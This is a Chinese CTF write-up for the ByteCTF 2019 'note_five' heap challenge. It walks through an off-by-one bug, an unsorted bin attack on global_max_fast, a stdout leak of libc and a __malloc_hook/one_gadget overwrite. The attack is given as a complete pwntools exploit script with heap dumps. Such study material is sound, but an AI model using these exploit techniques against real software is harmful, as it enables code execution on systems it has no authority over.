大佬都是秒题,但作为一个萌新做该题还是觉得很吃力,涉及很多并且不熟悉的知识点,学习记录一下过程,对自己和其他人都是有帮助的。
知识点包括,可以分别对照学习:
Checksec
pwndbg> checksec [*] '/root/pwn/bytectf2019/note-five/note_five' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
IDA F5
main函数
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { unsigned int v3; // ST0C_4 __int64 result; // rax setbuff(); while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { v3 = menu(); result = v3; if ( v3 != 2 ) break; edit_info(); } if ( (signed int)result > 2 ) break; if ( (_DWORD)result != 1 ) goto bad_note; create_info(); } if ( (_DWORD)result != 3 ) break; delete_info(); } if ( (_DWORD)result == 4 ) return result; bad_note: puts("bad choice"); } }
menu
函数
int menu() { puts("infomation management:"); puts("1. new info"); puts("2. edit info"); puts("3. delete info"); puts("4. exit"); printf("choice>> "); return input_num(); }
包含创建、编辑、删除info的功能。
create_info
函数
int create_info() { _DWORD *v0; // rax int info_id; // [rsp+8h] [rbp-8h] int size; // [rsp+Ch] [rbp-4h] printf("idx: "); info_id = input_num(); if ( info_id >= 0 && info_id <= 4 ) { printf("size: "); size = input_num(); if ( size > 143 && size <= 1024 ) // 对size进行限制,大于fast bins chunk { info_array[info_id] = malloc(size); v0 = info_len_array; info_len_array[info_id] = size; } else { LODWORD(v0) = puts("size error"); } } else { LODWORD(v0) = puts("idx error"); } return (signed int)v0; }
对info
的id
进行限制,范围0-4
,最多5
个;对info
的size
进行限制,大小为143 -1024
,大于fast bins chunk
,chunk
释放后不会进入fast bins
而进入unsorted bins
。申请的空间地址根据索引id
放入info_array
,空间大小也根据索引id
放入info_len_array
。
edit_info
函数
int edit_info() { int id; // [rsp+Ch] [rbp-4h] printf("idx: "); id = input_num(); if ( id < 0 || id > 4 || !info_array[id] ) return puts("idx error"); printf("content: "); return readinput(info_array[id], info_len_array[id], '\n'); }
根据索引id
在数组中确定对象的空间地址和大小,并传入readinput
写入内容。
delete_info
函数
int delete_info() { _DWORD *v0; // rax int v2; // [rsp+Ch] [rbp-4h] printf("idx: "); v2 = input_num(); if ( v2 >= 0 && v2 <= 4 ) { if ( info_array[v2] ) free((void *)info_array[v2]); info_array[v2] = 0LL; v0 = info_len_array; info_len_array[v2] = 0; } else { LODWORD(v0) = puts("idx error"); } return (signed int)v0; }
free
指针,info_array
存储位置设为零。
readinput
函数
__int64 __fastcall readinput(__int64 str_addr, signed int length, char EOF_string) { __int64 result; // rax char EOF; // [rsp+0h] [rbp-20h] unsigned __int8 buf; // [rsp+13h] [rbp-Dh] int i; // [rsp+14h] [rbp-Ch] unsigned __int64 v7; // [rsp+18h] [rbp-8h] EOF = EOF_string; v7 = __readfsqword(0x28u); for ( i = 0; ; ++i ) { result = (unsigned int)i; if ( i > length ) break; if ( (signed int)read(0, &buf, 1uLL) <= 0 ) { puts("read error"); exit(0); } result = buf; if ( buf == EOF ) break; *(_BYTE *)(str_addr + i) = buf; } return result; }
从标准输入中读取并向指定的空间地址写入指定长度的内容,break
的条件为i > length
,可以溢出多写一字节,存在off by one
漏洞。
基本操作
#coding=utf-8 from pwn import * import struct context.log_level = "debug" context.terminal = ['tmux', 'splitw', '-h'] p = process("./note_five") pwnlib.gdb.attach(p) def create(idx,size): p.sendlineafter("choice>>",str(1)) p.sendlineafter("idx:",str(idx)) p.sendlineafter("size:",str(size)) def edit(idx,content): p.sendlineafter("choice>>",str(2)) p.sendlineafter("idx:",str(idx)) p.sendlineafter("content:",content) def delete(idx): p.sendlineafter("choice>>", str(3)) p.sendlineafter("idx:", str(idx))
创建四个成员,大小如下:
#创建四个chunk create(0,0x98) create(1,0x98) create(2,0x98) create(3,0x98) #隔离chunk,防止和top chunk合并
堆块如下:
pwndbg> heapls ADDR SIZE STATUS sbrk_base 0x555555758000 chunk 0x555555758000 0xa0 (inuse) chunk 0x5555557580a0 0xa0 (inuse) chunk 0x555555758140 0xa0 (inuse) chunk 0x5555557581e0 0xa0 (inuse) chunk 0x555555758280 0x20d80 (top)
delete(0) edit(1,"A"*0x90 + p64(0x140) + p8(0xa0)) raw_input("1") # off bu one overwrite next chunk(chunk2) szie and prev_size delete(2)
删除0号,挂入unsorted bins
,在1号处进行Off By One
,覆盖2号的prev_chunk_size
为两个成员chunk
大小0x140(0xa0+0xa0)
,prev_chunk_inuse
标志位置零。
pwndbg> heapls ADDR SIZE STATUS sbrk_base 0x555555758000 chunk 0x555555758000 0xa0 (F) FD 0x7ffff7dd5b78 BK 0x7ffff7dd5b78 (LC) chunk 0x5555557580a0 0xa0 (F) FD 0x4141414141414141 BK 0x4141414141414141 (LC) chunk 0x555555758140 0xa0 (inuse) chunk 0x5555557581e0 0xa0 (inuse) chunk 0x555555758280 0x20d80 (top) sbrk_end 0x555555779000 pwndbg> x /10gx 0x555555758140 0x555555758140: 0x0000000000000140 0x00000000000000a0 0x555555758150: 0x0000000000000000 0x0000000000000000 0x555555758160: 0x0000000000000000 0x0000000000000000 0x555555758170: 0x0000000000000000 0x0000000000000000 0x555555758180: 0x0000000000000000 0x0000000000000000
删除2号,free
过程根据prev_chunk_inuse
触发空闲块合并,并根据prev_chunk_size
偏移找到0号,合并为一个大小为0x1E0(0x140+0xa0)
的unsorted bins chunk
堆块如下:
pwndbg> heapls ADDR SIZE STATUS sbrk_base 0x555555758000 chunk 0x555555758000 0x1e0 (F) FD 0x7ffff7dd5b78 BK 0x7ffff7dd5b78 (LC) chunk 0x5555557581e0 0xa0 (inuse) chunk 0x555555758280 0x20d80 (top) sbrk_end 0x555555779000 pwndbg> x /10gx 0x555555758000 0x555555758000: 0x0000000000000000 0x00000000000001e1 0x555555758010: 0x00007ffff7dd5b78 0x00007ffff7dd5b78 0x555555758020: 0x0000000000000000 0x0000000000000000 0x555555758030: 0x0000000000000000 0x0000000000000000 0x555555758040: 0x0000000000000000 0x0000000000000000
使用Unsorted Bins Attack
修改global_max_fast
create(0,0xe8) # 从unsorted bin chunk中分割一块使用 global_max_fast_addr = 0x7ffff7dd7848 edit(1,"A"*0x40 + p64(0) + p64(0xf1) + p64(0) + p64(global_max_fast_addr -0x10)) raw_input("3") create(4,0xe8) #通过1号info设置剩余的unsorted bins chunk,unsorted bin attack,修改global_max_fast
创建0号,大小为0xe8
,会从unsorted bin chunk
中分割一块用于分配。
此时unsorted bins chunk
中包含可控的1号,且地址为0x5555557580a0
,使其覆盖到剩余未分配unsorted bin chunk
。
pwndbg> heapls ADDR SIZE STATUS sbrk_base 0x555555758000 chunk 0x555555758000 0xf0 (inuse) chunk 0x5555557580f0 0xf0 (F) FD 0x0 BK 0x7ffff7dd7838 chunk 0x5555557581e0 0xa0 (inuse) chunk 0x555555758280 0x20d80 (top) sbrk_end 0x555555779000 pwndbg> x /50gx 0x5555557580a0 0x5555557580a0: 0x00000000000000a0 0x00000000000000a0 0x5555557580b0: 0x4141414141414141 0x4141414141414141 0x5555557580c0: 0x4141414141414141 0x4141414141414141 0x5555557580d0: 0x4141414141414141 0x4141414141414141 0x5555557580e0: 0x4141414141414141 0x4141414141414141 0x5555557580f0: 0x0000000000000000 0x00000000000000f1 0x555555758100: 0x0000000000000000 0x00007ffff7dd7838
创建4号,将global_max_fast
修改为unsorted_chunks(av)
pwndbg> p /x global_max_fast $2 = 0x7ffff7dd5b78
值很大,此时题目中创建的堆块都会被当做fast bin chunk
进行处理。
delete(4) #删除并放入fast bins edit(1,"A"*0x40 + p64(0) + p64(0xf1) +p16(0x65cf)) #fast bin attack 修改第二次申请的地址为stdout附近 create(2,0xe8) create(4,0xe8) raw_input("4") #覆盖stdout属性 edit(4,"A"*0x41 + p64(0xfbad1800) + p64(0)*3 + '\x40') #泄露Libc相关地址 leak = u64(p.recvline()[1:8].ljust(8, '\x00')) #raw_input("5") log.success("leak addr :" + hex(leak)) libc_base = leak - (leak - 0x7ffff7a49000) log.success("libc_addr :" + hex(libc_base)) #计算相关地址 libc = ELF("./libc.debug.so") one_gadget = libc_base + 0x3d169 malloc_hook = libc_base + libc.symbols['__malloc_hook'] realloc = libc_base + libc.symbols['__libc_realloc'] stdin = libc_base + libc.symbols['_IO_2_1_stdin_']
删除4号,并再次通过1号进行覆盖,连续分配两次,通过fast bin attack
在第二次分配时实现任意地址分配,分配到stdout
附近。覆盖stdout
中的flag
和_IO_write_base
,泄露Libc相关地址。
pwndbg> p stdout $3 = (struct _IO_FILE *) 0x7ffff7dd6620 <_IO_2_1_stdout_> pwndbg> x /10gx 0x7ffff7dd6620 0x7ffff7dd6620 <_IO_2_1_stdout_>: 0x00000000fbad1800 0x0000000000000000 0x7ffff7dd6630 <_IO_2_1_stdout_+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd6640 <_IO_2_1_stdout_+32>: 0x00007ffff7dd6640 0x00007ffff7dd66a3 0x7ffff7dd6650 <_IO_2_1_stdout_+48>: 0x00007ffff7dd66a3 0x00007ffff7dd66a3 0x7ffff7dd6660 <_IO_2_1_stdout_+64>: 0x00007ffff7dd66a4 0x0000000000000000
__malloc_hook
__realloc_hook
delete(2) #加入fast bin中 edit(1,'A'*0x40 + p64(0) + p64(0xf1) +p64(stdin + 0x8f)) #覆盖并利用fast bin attack指定预分配地址 create(2,0xe8) create(4,0xe8) edit(4,'A'*0xe0 + p64(0) + p64(0xf1)) #覆盖并创建合适的chunk header用于下次申请的chunk覆盖__malloc_hook 和 __realloc_hook
fast bins
分配的过程中会根据申请空间大小0xe8
的计算idx
和与分配地址的计算的idx是否相同, 主要是根据chunk size
进行计算。
在能够包含__malloc_hook
和 __realloc_hook
附近没有合适的位置(chunk size)可以用作分配的chunk ,但是有更远处却符合分配chunk
。先分配较远位置作为跳板,创建合适的chunk header
用于下次申请能够覆盖__malloc_hook
和__realloc_hook
的chunk
。
pwndbg> x /10gx 0x555555756080 0x555555756080: 0x0000555555758010 0x00005555557580b0 0x555555756090: 0x0000555555758100 0x00005555557581f0 0x5555557560a0: 0x00007ffff7dd597f 0x2e00725f6e6f6973 0x5555557560b0: 0x6e79642e616c6572 0x2e0074696e692e00 0x5555557560c0: 0x746c702e00746c70 0x65742e00746f672e pwndbg> x /60gx 0x00007ffff7dd596f 0x7ffff7dd596f <_IO_2_1_stdin_+143>: 0xffffffffffffff00 0x00000000000000ff 0x7ffff7dd597f <_IO_2_1_stdin_+159>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd598f <_IO_2_1_stdin_+175>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd599f <_IO_2_1_stdin_+191>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd59af <_IO_2_1_stdin_+207>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd59bf <_IO_2_1_stdin_+223>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd59cf <_IO_wide_data_0+15>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd59df <_IO_wide_data_0+31>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd59ef <_IO_wide_data_0+47>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd59ff <_IO_wide_data_0+63>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd5a0f <_IO_wide_data_0+79>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd5a1f <_IO_wide_data_0+95>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd5a2f <_IO_wide_data_0+111>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd5a3f <_IO_wide_data_0+127>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd5a4f <_IO_wide_data_0+143>: 0x4141414141414141 0x4141414141414141 0x7ffff7dd5a5f <_IO_wide_data_0+159>: 0x0000000000000000 0x00000000000000f1 0x7ffff7dd5a6f <_IO_wide_data_0+175>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd5a7f <_IO_wide_data_0+191>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd5a8f <_IO_wide_data_0+207>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd5a9f <_IO_wide_data_0+223>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd5aaf <_IO_wide_data_0+239>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd5abf <_IO_wide_data_0+255>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd5acf <_IO_wide_data_0+271>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd5adf <_IO_wide_data_0+287>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd5aef <_IO_wide_data_0+303>: 0x007ffff7dd426000 0x0000000000000000 0x7ffff7dd5aff: 0x007ffff7abea5100 0x007ffff7abea1200 0x7ffff7dd5b0f <__realloc_hook+7>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd5b1f: 0x0000000000000000 0x0000000000000000
再次分配且chunk位置为前面构造处,包含__malloc_hook
和__realloc_hook
的chunk
。
delete(2) edit(1, 'B'*0x40 +p64(0) +p64(0xf1) + p64(malloc_hook -0xb1)) create(2,0xe8) create(4,0xe8) edit(4,'A'*(0xb1 - 0x8 -0x10) + p64(one_gadget) + p64(realloc + 2)) # 覆盖__realloc_hook为one_gadget,__malloc_hook为realloc + 2 create(4,0xe8) p.interactive()
覆盖__realloc_hook
为one_gadget,__malloc_hook
为realloc + 2
,利用realloc
调整rsp使one_gadget更加稳定。
root@10-8-163-191:~/# one_gadget libc.debug.so 0x3d169 execve("/bin/sh", rsp+0x20, environ) constraints: [rsp+0x20] == NULL 0x3d16e execve("/bin/sh", rsi, environ) constraints: [rsi] == NULL || rsi == NULL 0xcf2ac execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL
整理集合一下
#coding=utf-8 from pwn import * import struct context.log_level = "debug" context.terminal = ['tmux', 'splitw', '-h'] p = process("./note_five") pwnlib.gdb.attach(p) def create(idx,size): p.sendlineafter("choice>>",str(1)) p.sendlineafter("idx:",str(idx)) p.sendlineafter("size:",str(size)) def edit(idx,content): p.sendlineafter("choice>>",str(2)) p.sendlineafter("idx:",str(idx)) p.sendlineafter("content:",content) def delete(idx): p.sendlineafter("choice>>", str(3)) p.sendlineafter("idx:", str(idx)) #创建四个chunk create(0,0x98) create(1,0x98) create(2,0x98) create(3,0x98) #隔离chunk,防止和top chunk合并 delete(0) edit(1,"A"*0x90 + p64(0x140) + p8(0xa0)) # off bu one overwrite next chunk(chunk2) szie and prev_size delete(2) #unsorted bins chunk extend Overlapping create(0,0xe8) # 从unsorted bin chunk中分割一块 global_max_fast_addr = 0x7ffff7dd7848 edit(1,"A"*0x40 + p64(0) + p64(0xf1) + p64(0) + p64(global_max_fast_addr -0x10)) create(4,0xe8) #通过1号info设置剩下的unsorted bins chunk,unsorted bin attack,修改global_max_fast delete(4) #删除并放入fast bins edit(1,"A"*0x40 + p64(0) + p64(0xf1) +p16(0x65cf)) #fast bin attack 修改第二次申请的地址为stdout附近 create(2,0xe8) create(4,0xe8) edit(4,"A"*0x41 + p64(0xfbad1800) + p64(0)*3 + '\x40') #覆盖stdout,泄露Libc相关地址 leak = u64(p.recvline()[1:8].ljust(8, '\x00')) log.success("leak addr :" + hex(leak)) libc_base = leak - (leak - 0x7ffff7a49000) log.success("libc_addr :" + hex(libc_base)) libc = ELF("./libc.debug.so") one_gadget = libc_base + 0x3d169 malloc_hook = libc_base + libc.symbols['__malloc_hook'] realloc = libc_base + libc.symbols['__libc_realloc'] stdin = libc_base + libc.symbols['_IO_2_1_stdin_'] print "one_gadget-> " + hex(one_gadget) print "malloc_hook-> " + hex(malloc_hook) print "realloc-> " + hex(realloc) print "stdin-> " + hex(stdin) delete(2) edit(1,'A'*0x40 + p64(0) + p64(0xf1) +p64(stdin + 0x8f)) create(2,0xe8) create(4,0xe8) edit(4,'A'*0xe0 + p64(0) + p64(0xf1)) delete(2) edit(1, 'B'*0x40 +p64(0) +p64(0xf1) + p64(malloc_hook -0xb1)) create(2,0xe8) create(4,0xe8) edit(4,'A'*(0xb1 - 0x8 -0x10) + p64(one_gadget) + p64(realloc + 2)) create(4,0xe8) p.interactive()